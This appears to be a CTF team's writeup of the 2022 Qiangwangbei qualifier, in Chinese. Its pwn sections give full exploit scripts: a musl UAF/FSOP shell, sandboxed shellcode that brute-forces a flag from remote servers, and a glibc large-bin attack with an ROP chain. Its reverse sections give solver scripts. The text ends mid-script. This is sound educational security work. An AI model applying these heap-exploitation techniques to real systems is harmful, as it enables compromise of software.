2022 强网杯初赛 Writeup By Xp0int xp0int Posted on Aug 1 2022 ## 1. Pwn ### 1.1 UserManager `Author: xf1les` `insert`函数存在 UAF 漏洞。当新创建的 user `id` 与 `users` 指向的相同时,`insert()`会释放`users` 指向的 user ,但没有清空指针。 ![title](https://leanote.com/api/file/getImage?fileId=62e78586ab6441083771fef1) libc 环境是 `musl libc 1.2.2`。libc.so 似乎是出题人自己编译的,没有带调试信息。从后面泄露的内存地址判断,程序运行方式是 `./libc.so ./UserMananger`。 前些日子写了一个解析 musl libc 堆管理器的 gdb 插件 [musl heap](https://github.com/xf1les/muslheap/blob/master/muslheap.py),做这道题的时候刚好派上用场。因为 libc.so 没有带调试信息,想到了一个比较粗暴的方法来强制加载插件:其实插件只需 musl libc 结构体定义(可以从同版本 libc.so调试符号里获取)和`__malloc_context`的地址就能正常使用。 首先通过逆向`malloc()`汇编代码获得`__malloc_context`的偏移(这里是 0xb4ac0),然后将插件源码的`check_mallocng()`改为: ![title](https://leanote.com/api/file/getImage?fileId=62e78668ab6441083771fefa) 最后下载一个带调试信息的同版本 libc.so,GDB 调试程序的时候用`file`命令加载这个 libc.so 的调试信息,就能使用插件提供的命令了。 ![title](https://leanote.com/api/file/getImage?fileId=62e7867cab6441083072791e) 解题思路是利用 UAF 修改 user ,将 fake_file 地址写到`ofl_head`上,然后堆风水构造 fake_file ,最后调用`exit()`在 fake_file 上触发 IO 操作,执行`system("sh")` get shell。 ![title](https://leanote.com/api/file/getImage?fileId=62e786afab6441083771fefe) user 结构体如上。只需修改`fwd`指针,然后`insert()`调整链表时就会把 user 地址写到任意地址上(原理接近于 glibc 下的 Large bin attack)。利用这个方法修改`ofl_head`。 ![title](https://leanote.com/api/file/getImage?fileId=62e786d2ab64410830727924) mallocng 堆块分配规则(详细见[这篇文章](https://blog.xf1les.net/2022/04/20/starctf2022-babynote-writeup/#23-%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F)): ``` 1. 已释放 slot 不会马上重用,直到active[sc]当前指向的 meta g没有可分配 slot 2. 如果g没有可分配 slot,mallocng 将active[sc]指向g->next,将g->next已释放 slot 设置为可分配,然后从g->next分配 slot 给用户 3. 接上一条,如果g连已释放 slot 都没有(所有 slot 已被占用),mallocng 还会将g移出active链表 ``` 修改`ofl_head`所进行的堆风水流程如下: ``` # Heap fengsui 0x1 add(0x6873, 0x38) add(0x6873, 0x38) # **BUG**, now idx=0x6873 is freed add(2, 0x38) add(1, 0x80-4) add(0, 0x80-4) # <- Slot status map: UUUUU[A]U (idx=0x6873 user) ``` 首先创建一个 id 为 `0x6873` (即`"sh"`) 的 user,然后再次创建同 id 的 user。这时原先的 user 会被`insert()`释放(`users`仍然指向这个 user)。通过创建多个 user,使 group 上只有 id=`0x6873` user 所在的 slot 可用,这样下次创建 user 时就能分配并修改到它(因为程序是先分配 UserName,再分配 user )。 ![title](https://leanote.com/api/file/getImage?fileId=62e7876cab6441083771ff04) 创建另一个同 id 的 user(地址为 fake_file),这时可以修改`users`指向 user 的`fwd`指针为 `&ofl_head-0x20`。之后`insert()`会将 fake_file 地址写入到`ofl_head`上。 ```Python # Overwrite idx=0x6873 userinfo, corrupt `ofl_head` to &fake_file payload = flat([0x6873, 0, 0, 2, 0xDEADBEEF, ofl_head-0x20]) # fake_file[0] = "sh" add(0x6873, 0x38, payload) # <- fake_file ``` 最后利用类似的手法参照[这篇文章](https://www.anquanke.com/post/id/202253#h3-13)布置好 fake_file 的各个字段即可。 *** EXP 代码: ```Python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64", log_level="debug") libc = ELF("./libc.so") code = None p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) libc_os = lambda x : libc.address + x code_os = lambda x : code + x ########### p = process(["./libc.so", "./UserManager"]) # ~ p = remote("123.56.105.22", 28165) def add(id, sz, ctx='A'): p_sl(1, ": ") p_sl(id, "Id: ") p_sl(sz, "UserName length: ") p_sl(ctx, "UserName: ") def show(id): p_sl(2, ": ") p_sl(id, "Id: ") def free(id): p_sl(3, ": ") p_sl(id, "Id: ") def clear(): p_sl(4, ": ") add(0, 0x100) # discard this 0x40 slot, we do not need it clear() # Heap fengsui 0x1 add(0x6873, 0x38) add(0x6873, 0x38) # **BUG**, now idx=0x6873 is freed add(2, 0x38) add(1, 0x80-4) add(0, 0x80-4) # <- Slot status map: UUUUU[A]U (idx=0x6873 user) # Leak codebase, libcbase show(0x6873) p.recv(8) code = u64(p.recv(8)) - 0xf30 info("codebase: 0x%lx", code) p.recv(8) p.recv(8) libc.address = u64(p.recv(8)) - 0xb7de0 info("libcbase: 0x%lx", libc.address) ofl_head = libc_os(0xB6E48) system = libc_os(0x50A90) # Overwrite idx=0x6873 user, corrupt `ofl_head` to &fake_file payload = flat([0x6873, 0, 0, 2, 0xDEADBEEF, ofl_head-0x20]) # fake_file[0] = "sh" add(0x6873, 0x38, payload) # <- fake_file clear() add(10, 0x38, p64(system)*6) # (fake_file+0x40) fake_file->write = system # Heap fengsui 0x2 add(11, 0x100) add(11, 0x100) # **BUG**, now idx=11 (fake_file+0x80 and fake_file+0xa0) is freed add(9, 0x38) add(8, 0x100) # <- Slot status map: UUU[F]UUU (fake_file+0xa0) # Overwrite idx=11 user (fake_file+0xa0), free fake_file+0x80 payload = flat([11, code_os(0xcc0), 0, 2, 0xDEADBEEF, 0]) add(11, 0x38, payload) clear() add(7, 0x38) add(6, 0x38) add(5, 0x38) add(4, 0x38, '\x00'*0x38) # (fake_file+0x80) fake_file->lock = 0, # to make `FFINALLOCK()` in `close_file()` happy # Call `exit(0)` to execute `system("sh")` (FSOP) p.send('\n') p.interactive() ``` ### 1.2 yakacmp `Author: c1ark` 程序是一个C++编写的64位虚拟机,在一系列mov指令中存在mov一个立即数到寄存器上的操作,在最后解析的时候,可以利用该立即数写入四字节shellcode,程序开了沙盒,只允许使用read,open,exit,所以只能逐字节爆破。最后因为时延问题爆破了几次得到相似的flag,需要最后整合验证一下。 ![title](https://leanote.com/api/file/getImage?fileId=62e78802ab6441083072792e) ```Python #!/usr/bin/python # -*- coding: UTF-8 -*- from pwn import * import string #context(os='linux', arch='amd64',log_level='debug') #context.aslr = False context.terminal =['tmux', 'splitw', '-h'] filename="./yakacmp" gdbscript=""" b *$rebase(0x3e0a) c """ # b *$rebase(0x2a4e) # b *$rebase(0x2ce9) # b *$rebase(0x2d5f) # debug = 1 # if debug: # p=gdb.debug(filename,gdbscript) # else: # p=process(filename) # #p = remote("127.0.0.1",11111) # #pause() # pass se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) # asm("mov rdi,rsp") 'H\x89\xe3' # asm("mov rax,rdi") 'H\x89\xf8' # asm("mov ax,0x1010") 'f\xb8\x10\x10' # asm("shl rax,16") 'H\xc1\xe0\x10' # asm("shr rsi,48") 'H\xc1\xee0' # >>> hex(ord(asm("push rsp"))) # '0x54' # >>> hex(ord(asm("pop rdi"))) # '0x5f' # >>> hex(ord(asm("push rcx"))) # '0x51' # >>> hex(ord(asm("pop rsi"))) # '0x5e' # >>> asm("je $") # 't\xfe' # >>> asm("cmp byte ptr [rsi],1") # '\x80>\x01' # >>> asm("add si,1") # 'f\x83\xc6\x01' # syscall \x0f\x05 # pop rbx 0x5b # push rbx 0x53 # push rax 0x50 # pop rdi 0x5f # push rdi 0x57 def pwn(char,num): code = "add r2,r2" sla("now\n",code) for i in range(10): sla("more operation?","mov r3,r2") sla("more operation?","mov r1,r2") payload = 0x0067b8666761b866 # mov ax,0x67 g sla("more operation?","mov r2," + str(payload)) payload = 0x10e0c14810e0c148 # shl rax,16 sla("more operation?","mov r2," + str(payload)) payload = 0x616cb866616cb866 # mov ax, la sla("more operation?","mov r2," + str(payload)) payload = 0x10e0c14810e0c148 # shl rax,16 sla("more operation?","mov r2," + str(payload)) payload = 0x662fb866662fb866 # mov ax, /f sla("more operation?","mov r2," + str(payload)) payload = 0x505f5450e3894850 # push rax; push rsp ; pop rdi sla("more operation?","mov r2," + str(payload)) sla("more operation?","mov r4,0") # mov rdx,0 sla("more operation?","mov r1,r3") # mov rax,rcx payload = 0x5e57050f5f50050f # syscall; push rdi; pop rsi sla("more operation?","mov r2," + str(payload)) sla("more operation?","mov r4,r3") # mov rdx,rcx payload = 0x56565f505f5f5050 # push rax; pop rdi ; push rsi ;push rsi sla("more operation?","mov r2," + str(payload)) sla("more operation?","mov r1,0") # mov rax,0 payload = 0x5757050f5757050f # syscall sla("more operation?","mov r2," + str(payload)) # add si,num payload = 0x00c6836600c68366 + (num << 14*4) sla("more operation?","mov r2," + str(payload)) # cmp byte ptr [rsi],char payload = 0x57003e8057013e80 + (char << 12*4) sla("more operation?","mov r2," + str(payload)) payload = 0x57f4fe745757fe74 # je $ sla("more operation?","mov r2," + str(payload)) sla("more operation?","NO") ru("over\n") sl("\n") flag_str = "{}-" + string.digits + string.ascii_lowercase recv_char = "" flag = "" for i in range(0,0x30): for j in flag_str: p = remote("47.94.166.51",16558) #p = process(filename) pwn(ord(j),i) sl("aaa") try: p.recv(timeout = 3) flag += j recv_char = j print "flag : ",flag p.close() break except Exception as e: pass p.close() print "flag : ",flag # # flag{0029d72b-8e92-4947-869b-26ffe1015ebe} ``` flag值: ```Python flag{0029d72b-8e92-4947-869b-26ffe1015ebe} ``` ### 1.3 houseofcat `Author: xf1les` del 没有清空指针,存在 UAF 漏洞。 ![title](https://leanote.com/api/file/getImage?fileId=62e78850ab6441083771ff10) edit 只能使用两次。 ![title](https://leanote.com/api/file/getImage?fileId=62e78855ab6441083771ff11) add 使用 calloc 分配堆块,大小范围为 0x418~0x46F ![title](https://leanote.com/api/file/getImage?fileId=62e7886fab64410830727935) 解题思路是利用 Large bin attack 将 fake_file 地址写到 libc 里面的`stderr`指针上,然后修改 top chunk size 为非法值触发 assert fail,通过 FSOP 实现栈迁移,执行 ROP 链读 flag。 ![title](https://leanote.com/api/file/getImage?fileId=62e7888dab64410830727937) seccomp 沙盒规则限制 read 的 fd 必须为 0。绕过方法很简单:先调用close(0),然后再open("/flag", 0),得到 flag 文件的 fd 为 0。 这里使用了一条用 Binary Ninja 插件 [fsop-finder](https://github.com/xf1les/fsop-finder) 找到的 FSOP 路径,只需一次 FSOP 攻击就能实现栈迁移: ``` // 2.35-0ubuntu3 3. _IO_wfile_underflow_mmap@0x860b0 -> _IO_wdoallocbuf@0x83bf0 0x861cd: call(0x83bf0) RIP/RDI DATAFLOW: rbx = rdi -> rdi = rbx -> call(0x83bf0) RBP DATAFLOW: rbp = [rdi + 0x98].q CODE PATH: eax = [rdi].d => [condition] (al & 4) == 0 rax = [rdi + 0xa0].q rdx = [rax].q => [condition] rdx u>= [rax + 8].q rdx = [rdi + 8].q => [condition] rdx u< [rdi + 0x10].q rdi = [rax + 0x40].q => [condition] rdi == 0 0x83c1b: call([rax + 0x68].q) RIP/RDI DATAFLOW: rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q) RBP DATAFLOW: (N/A) CODE PATH: rax = [rdi + 0xa0].q => [condition] [rax + 0x30].q == 0 => [condition] ([rdi].b & 2) == 0 ([0x216020] is the location of _IO_wfile_underflow_mmap in __libc_IO_vtables) ``` 根据上述结果构建的 fake_file 如下: ``` [fp 布局] 0x0 : 0 0x8 : 0x1337 0x10 : 0xffffffffffffffff 0x18 : 0 0x28 : 0xffffffffffffffff # fp->_IO_write_ptr,_IO_flush_all_lockp() 条件 0x40 : 0 0x50 : 0 0x68 : leave_ret 0x88 : fp + 0xe0 # fp->_lock, 要求 *(fp->_lock) == 0 且破坏 fp->_lock + 4 和 fp->_lock + 8 0x98 : rop_chain - 8 0xa0 : fp + 0x10 0xc0 : 0 # fp->_mode,_IO_flush_all_lockp() 条件 0xd8 : vtable_ptr # fp->vtable, *(fp->vtable+XXX) == _IO_wfile_underflow_mmap 0xe0 : 0 # fp->_lock 指向的位置 0xf0 : fp ``` (上面添加了`_IO_flush_all_lockp()`路径 的触发条件,题目没有调用`exit()`,所以用不上) 结合 Large bin attack 的利用方法: ```Python [准备 Large bin attack] # fake_file (victim_chunk) 地址 fp = # "leave; ret" gadget 地址 leave_ret = # ROP 链地址 rop_chain = # *(vtable_ptr+XXX) == _IO_wfile_underflow_mmap vtable_ptr = forge_fp = flat({ # 若结合 large bin attack,可以不用添加以下字段 # ~ 0x8 : 0x1337, # ~ 0x10 : 0xffffffffffffffff, # ~ 0x28 : 0xffffffffffffffff, 0x68 : leave_ret, 0x88 : fp + 0xe0, 0x98 : rop_chain - 8, 0xa0 : fp + 0x10, 0xd8 : vtable_ptr, 0xf0 : fp }, filler=b"\x00") # 将 fake_file 写到 victim_chunk 上,注意跳过前 0x10 字节的 fake chunk header edit(victim_chunk_idx, forge_fp[0x10:]) free(victim_chunk_idx) # 放入 unsorted bin [实行 Large bin attack,使 _IO_list_all/stderr == victim_chunk] # 此时 victim_chunk (fake_file) 位于 large bin 内 [调用 exit() / 触发 assert_fail 进行 FSOP,栈迁移到 rop_chain 上] ``` EXP 代码如下: ```Python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64", log_level="debug") libc = ELF("./libc.so.6") heap = None p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) libc_os = lambda x : libc.address + x heap_os = lambda x : heap + x ################# # ~ p = remote("182.92.223.176", 24203) p = process("./house_of_cat") p_sl("LOGIN | r00t QWB QWXFadmin\x00", "mew mew mew~~~~~~\n") def add(idx, size, ctx='A'): p_sl(b"CAT | r00t QWB QWXF$"+p32(0xFFFFFFFF)+b'\x00', "mew mew mew~~~~~~\n") p_sl(1, "plz input your cat choice:\n") p_sl(idx, "plz input your cat idx:\n") p_sl(size, "plz input your cat size:\n") p_s(ctx, "plz input your content:\n") def free(idx): p_sl(b"CAT | r00t QWB QWXF$"+p32(0xFFFFFFFF)+b'\x00', "mew mew mew~~~~~~\n") p_sl(2, "plz input your cat choice:\n") p_sl(idx, "plz input your cat idx:\n") def show(idx): p_sl(b"CAT | r00t QWB QWXF$"+p32(0xFFFFFFFF)+b'\x00', "mew mew mew~~~~~~\n") p_sl(3, "plz input your cat choice:\n") p_sl(idx, "plz input your cat idx:\n") def edit(idx, ctx): p_sl(b"CAT | r00t QWB QWXF$"+p32(0xFFFFFFFF)+b'\x00', "mew mew mew~~~~~~\n") p_sl(4, "plz input your cat choice:\n") p_sl(idx, "plz input your cat idx:\n") p_s(ctx, "plz input your content:\n") ###### Prepare & Leak libcbase / heapbase ####### add(0, 0x448) # [large bin chunk] add(1, 0x418) # (guard) add(2, 0x430) # [victim chunk] add(3, 0x418) # (guard) free(0) add(4, 0x450) # Send chunk0 to large bin show(0) # **BUG** p.recvuntil("Context:\n") libc.address = u64(p.recv(8)) - 0x21a0e0 info("libcbase: 0x%lx", libc.address) p.recv(8) heap = u64(p.recv(8)) - 0x290 info("heapbase: 0x%lx", heap) free(2) # Send chunk2 to unsorted bin ######## Large bin attack & Fake _IO_FILE ######## fp = heap_os(0xb00) leave_ret = libc_os(0x562ec) rop_chain = heap_os(0x17d0) # <__vfprintf_internal+280> call qword ptr [r12 + 0x38] <_IO_wfile_underflow_mmap> vtable_ptr = libc_os(0x216020) - 0x38 forge_fp = flat({ # These fields are unneeded for fake _IO_FILE on large bin chunk # ~ 0x8 : 0x1337, # ~ 0x10 : 0xffffffffffffffff, # ~ 0x28 : 0xffffffffffffffff, 0x68 : leave_ret, 0x88 : fp + 0xe0, 0x98 : rop_chain - 8, 0xa0 : fp + 0x10, 0xd8 : vtable_ptr, 0xf0 : fp }, filler=b"\x00") add(5, 0x430, forge_fp[0x10:]) # Retrieve chunk2 then place fake _IO_FILE on it # Skip first 0x10 bytes (fake chunk header) free(2) # Send chunk2 back to unsorted bin stderr_ptr = libc_os(0x21a860) payload = flat([libc_os(0x21a0e0), libc_os(0x21a0e0), heap_os(0x290), stderr_ptr-0x20]) edit(0, payload) # **BUG** (Large bin attack) # Now *stderr == chunk2 ################### ROP Chain ##################### rax_0 = libc_os(0xbab79) rax_1 = libc_os(0xd83e0) rax_2 = libc_os(0xd83f0) rax_3 = libc_os(0xd8400) xchg = libc_os(0x14a385) rdi = libc_os(0x2a3e5) rsi = libc_os(0x2be51) syscall = libc_os(0x91396) rop_raw = [ rdi, 0, rax_3, syscall, # close(0) rdi, 0xdeadbeef, rsi, 0, rax_2, syscall, # open xchg, rsi, 0xdeadbeef, rax_0, syscall, # read rdi, 1, rax_1, syscall # write ] rop_raw[5] = rop_raw[12] = rop_chain + len(rop_raw) * 8 rop = flat(rop_raw) + b'/flag\x00' add(6, 0x460, rop) # heap_os(0x17d0) ############ Corrupt Top Chunk Size ############### add(7, 0x450) add(8, 0x450) free(8) free(7) # chunk7 and chunk8 will be merged into top chunk add(9, 0x460) # chunk9 = chunk7 + first 0x10 bytes of chunk8 # now top chunk header is located in chunk8's user data area edit(8, flat([0, 0])) # **BUG** # set top chunk size to 0 ################# Trigger FSOP #################### p_sl(b"CAT | r00t QWB QWXF$"+p32(0xFFFFFFFF)+b'\x00', "mew mew mew~~~~~~\n") p_sl(1, "plz input your cat choice:\n") p_sl(12, "plz input your cat idx:\n") p_sl(0x460, "plz input your cat size:\n") p.interactive() ``` *** ## 2. Reverse ### 2.1 GameMaster `Author: cew, JANlittle` goldFunc有三个操作,异或/AES解密/反序列化 ![title](https://leanote.com/api/file/getImage?fileId=62e7894aab6441083771ff19) ![title](https://leanote.com/api/file/getImage?fileId=62e7894fab6441083072793d) 但调试时候没发现反序列化的用处,于是尝试在gamemessage上进行异或和AES解密,解密完可以发现嵌有另一个PE文件,手动提取。 ![title](https://leanote.com/api/file/getImage?fileId=62e78955ab6441083072793e) ![title](https://leanote.com/api/file/getImage?fileId=62e78959ab6441083771ff1a) 反编译后发现流程需要goldFunc 3个AchivePoint设置的环境变量,Z3求解。 ```Python from z3 import * cmp = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5] Key = [0]*len(cmp) num = -1 xx = BitVec("xx", 64) yy = BitVec("yy", 64) zz = BitVec("zz", 64) x = xx y = yy z = zz for i in range(320): x = (((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1) y = (((y >> 30) ^ (y >> 27)) & 1) | (y << 1) z = (((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1) if i % 8 == 0: num += 1 Key[num] = ((Key[num] << 1) | (((z >> 32) & 1 & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1)))) & 0xff s = Solver() for i in range(len(cmp)): s.add(Key[i] == cmp[i]) print(s.check()) print(s.model()) # [zz = 3131229747, xx = 156324965, yy = 868387187] ``` 求出三个环境变量后,按原流程执行即可。 ```C# using System; using System.Runtime.Serialization.Formatters.Binary; using System.Security.Cryptography; using System.Text; using System.Windows; namespace gamemaster// Note: actual namespace depends on the project name. { internal class Program { public static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream) { int num = -1; for (int i = 0; i < 320; i++) { x = (((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1); y = (((y >> 30) ^ (y >> 27)) & 1) | (y << 1); z = (((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1); if (i % 8 == 0) { num++; } KeyStream[num] = (byte)((KeyStream[num] << 1) | (uint)(((z >> 32) & 1 & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1)))); } } public static void ParseKey(ulong[] L, byte[] Key) { for (int i = 0; i < 3; i++) { for (int j = 0; j < 4; j++) { Key[i * 4 + j] = (byte)((L[i] >> j * 8) & 0xFF); } } } public static byte[] Decryptxx(byte[] src, string skey, PaddingMode mode) { RijndaelManaged aes = new RijndaelManaged(); byte[] key = Encoding.ASCII.GetBytes(skey); aes.KeySize = 128; aes.Padding = mode; aes.Mode = CipherMode.ECB; using (ICryptoTransform decrypt = aes.CreateDecryptor(key, null)) { byte[] dest = decrypt.TransformFinalBlock(src, 0, src.Length); decrypt.Dispose(); return dest; } } public static byte[] Encryptxx(byte[] src, string skey, PaddingMode mode) { RijndaelManaged aes = new RijndaelManaged(); byte[] key = Encoding.ASCII.GetBytes(skey); aes.KeySize = 128; aes.Padding = mode; aes.Mode = CipherMode.ECB; using (ICryptoTransform encrypt = aes.CreateEncryptor(key, null)) { byte[] dest = encrypt.TransformFinalBlock(src, 0, src.Length); encrypt.Dispose(); return dest; } } static void Main(string[] args) { /*BinaryReader br; BinaryWriter bw; FileStream fs; Byte[] data; try { fs = new FileStream("D:\\ctf\\qwb2022\\GameMaster\\gamemessage", FileMode.Open); br = new BinaryReader(fs); data = br.ReadBytes((int)fs.Length); br.Close(); fs.Close(); } catch (IOException e) { Console.WriteLine(e.Message + "\n Cannot open file."); return; } for (int i = 0; i < data.Length; i++) { data[i] ^= 34; } data = Decryptxx(data, "Brainstorming!!!", PaddingMode.Zeros); BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serial = new MemoryStream(data); Object ob = binaryFormatter.Deserialize(serial); *//*data = Encryptxx(data, "qwb2022BlackJack", PaddingMode.PKCS7);*//* try { fs = new FileStream("D:\\ctf\\qwb2022\\GameMaster\\out", FileMode.Create); bw = new BinaryWriter(fs); bw.Write(data); bw.Close(); fs.Close(); } catch (IOException e) { Console.WriteLine(e.Message + "\n Cannot open file."); return; }*/ byte[] KeyStream = new byte[40]; ulong x = 156324965, y = 868387187, z = 3131229747; Check1(x, y, z, KeyStream); /* for(int i = 0; i < KeyStream.Length; i++) { Console.WriteLine(KeyStream[i]); }*/ ulong[] array = new ulong[3] { 156324965, 868387187, 3131229747 }; byte[] array4 = new byte[12]; ParseKey(array, array4); byte[] array5 = new byte[19] { 60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227 }; for (int i = 0; i < array5.Length; i++) { array5[i] = (byte)(array5[i] ^ array4[i % array4.Length]); } Console.WriteLine("flag{" + Encoding.Default.GetString(array5) + "}"); } } } ``` FLAG : flag{Y0u_@re_G3meM3s7er!} ### 2.2 easyre `Author: JANlittle cew` Linux版Debug Blocker,父进程使用fork+execve和内嵌的ELF创建子进程,并使用ptrace来实现调试器功能。父进程作为调试器主要是处理异常以实现子进程的SMC,当异常处为0xCAFEB055BFCC时说明是SMC区开头,当异常处为0xCAFE1055BFCC时说明是SMC区结尾,按照父进程解密逻辑写一个IDApython脚本进行patch: ```Python from hashlib import md5 kp = {8723: 2533025110152939745, 8739: 5590097037203163468, 8755: 17414346542877855401, 8771: 17520503086133755340, 8787: 12492599841064285544, 8803: 12384833368350302160, 8819: 11956541642520230699, 8835: 12628929057681570616, 8851: 910654967627959011, 8867: 5684234031469876551, 8883: 6000358478182005051, 8899: 3341586462889168127, 8915: 11094889238442167020, 8931: 17237527861538956365, 8947: 17178915143649401084, 8963: 11176844209899222046, 8979: 18079493192679046363, 8995: 7090159446630928781, 9011: 863094436381699168, 9027: 6906972144372600884, 9043: 16780793948225765908, 9059: 7086655467811962655, 9075: 13977154540038163446, 9091: 7066662532691991888, 9107: 15157921356638311270, 9123: 12585839823593393444, 9139: 1360651393631625694, 9155: 2139328426318955142, 9171: 2478274715212481947, 9187: 12876028885252459748, 9203: 18132176846268847269, 9219: 17242441603067001509, 9235: 8492111998925944081, 9251: 14679986489201789069, 9267: 13188777131396593592, 9283: 5298970373130621883, 9299: 525902164359904478, 9315: 2117701741234018776, 9331: 9158760851580517972} # k = bytes_to_long(md5(b'820555419').digest()[8:][::-1]) # print(list(map(hex, list((k^0xCA271CEAC933CD26).to_bytes(8, 'little'))))) addr = 0x2213 while True: if get_qword(addr) == 0xCAFEB055BFCC: break if addr not in kp: print(addr) break raw_qword = get_qword(addr) k = kp[addr] dec = raw_qword ^ k idc.patch_qword(addr, dec) addr += 16 ``` patch完子进程就是一个正常的ELF,可以直接逆了。子进程读取文本文件,要求文本文件内容是25*25的01矩阵,然后计算每一行和每一列的连续的1的区域的个数和每个区域1的个数,并填到一个25*25矩阵中,最后比较——一眼传统数织游戏。dump出比较数据,使用现成脚本可以生成一个字符画,但画的是个皮卡丘。。 很明显不对,经过调试等方式可以发现会函数0x265C和函数0x257D会修改行和列的比较数据,将真实的比较数据dump出来丢脚本跑,会发现。。脚本卡死了。不过数织有很多在线求解器,最后找到这么一个在线求解器:https://handsomeone.github.io/Nonogram 可以知道真实数据是存在多解的,手动修改一下,可以得到大致对的字符画: ![title](https://leanote.com/api/file/getImage?fileId=62e789abab64410830727944) 最后flag里记得加上空格就好。 FLAG:FLAG{I LOVE PLAY ctf_QWB2022} ### 2.3 easyapk `Author: cew` check函数在libnative中,没反调试。伪代码很难看,直接调试容易很多。 ![title](https://leanote.com/api/file/getImage?fileId=62e789ccab6441083771ff1f) 调试时候发现sub_D9EA0544对输入加密,密文在memcmp那里和固定数据比较。 ![title](https://leanote.com/api/file/getImage?fileId=62e789d0ab6441083771ff20) 至于sub_D9EA0544里面,调试时候发现常数0x9E3779B9,猜测TEA,密钥在调试时也能获得,测试用TEA加密相同数据后和sub_D9EA0544的结果一样,所以这里的TEA流程没修改过,直接TEA解密memcmp比较的数据即可。 ![title](https://leanote.com/api/file/getImage?fileId=62e789daab6441083771ff21) ```C++ void decrypt(uint32_t v[2], const uint32_t k[4]) { uint32_t v0 = v[0], v1 = v[1], sum, i; /* set up; sum is (delta << 5) & 0xFFFFFFFF */ uint32_t delta = 0x9E3779B9; /* a key schedule constant */ sum = delta * 32; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 32; i++) { /* basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /* end cycle */ v[0] = v0; v[1] = v1; } int main() { char* key = (char*)"0123456789abcdef"; char buf[] = { 132, 170, 148, 93, 160, 36, 250, 20, 16, 2, 86, 43, 73, 221, 155, 182, 212, 234, 239, 170, 198, 244, 140, 75, 201, 184, 127, 9, 210, 81, 236, 181 , 0 }; for (int i = 0; i < 32; i += 8) { decrypt((uint32_t*)(buf+i), (uint32_t*)key); } printf("%s\n", buf); } // synt{Vg_Vf_A0g_guNg_zHpu_unEqre} ``` ROT13解密后 flag{It_Is_N0t_thAt_mUch_haRder} ### 2.4 deeprev `Author: JANlittle cew` 拖进IDA,瞟一眼main,再瞟一眼导航条,点到LOAD段可以看到大量重定位信息——一眼剽窃eldar的创意( 直接上最爱(之一)的dicegang老哥的wp:https://ctf.harrisongreen.me/2022/googlectf/eldar/ 直接使用hgarrereyn的parse脚本,改一下format_addr函数里的flag和标志位地址,可以得到parse出来的伪代码: ``` [*] Loading relocations... [*] Parsing... [*] lift_mov_add... [*] remove_sizes... [*] lift_indirect... [*] lift_block... [*] lift_reset... [*] lift_shuffle_block... [*] lift_output... [*] lift_multadd... [*] lift_truncate... [*] lift_shellcode... [*] lift_aop... REL(dst=baseaddr(), val=0, ridx=3) REL(dst=baseaddr(), val=0, ridx=4) [0005] :: mov s2, &flag[0] [0007] :: mov(1) s4, s2 [0008] :: [ARRAY SLOT] [0009] :: mov arr[15], &1585408084625667200 [0010] :: mov arr[16], &195 [0011] :: mov s3, &arr[15] [0012] :: setinfo s3, name=0x1a, info=0x1, other=0x0, shndx=0x0 [0013] :: add arr[15], s3, 0 [0014] :: mov s2, &r101002.r_address [0016] :: mov(24) arr[15], s2 [0017] :: [ARRAY SLOT] [0018] :: mov arr[42], &141015791240320 [0019] :: mov arr[43], &195 [0020] :: mov s3, &arr[42] [0021] :: setinfo s3, name=0x1a, info=0x1, other=0x0, shndx=0x0 ... ``` 审阅伪代码,第一可以发现有大量赋常数值的指令,并且末尾都有一个195,也就是0xc3——对应ret指令,将常数进行反汇编确实也是机器码,并且都是xor、add指令——与eldar后半部分很类似。 继续观察可以发现伪代码大致可以分为三部分:第一部分对输入前28个字节进行异或和加常数;第二部分异或固定值来进行比较;第三部分将剩下4字节以两字节为一组,验证一个简单的方程组,验证方法也是异或。 这样就可以写脚本拿flag了: ```Python import re from capstone import * from z3 import * op_data = [] cmp_data = [] md = Cs(CS_ARCH_X86, CS_MODE_64) def mydis(c, data): c0 = (c & 0xffffffffffffffff).to_bytes(8, 'little') for i in md.disasm(c0, 0): data.append(int(i.op_str.split(' ')[-1], 16)) with open('lift_parse.txt') as f: c0 = 0 for line in f: if c0 == 28*2: for i in re.findall(r'-?\d{10,}', line): mydis(int(i), cmp_data) else: for i in re.findall(r'-?\d{10,}', line): mydis(int(i), op_data) c0 += 1 cmp_data = cmp_data[:-4] flag0 = [] for i in range(28): flag0.append((cmp_data[i]-op_data[2*i+1]) ^ 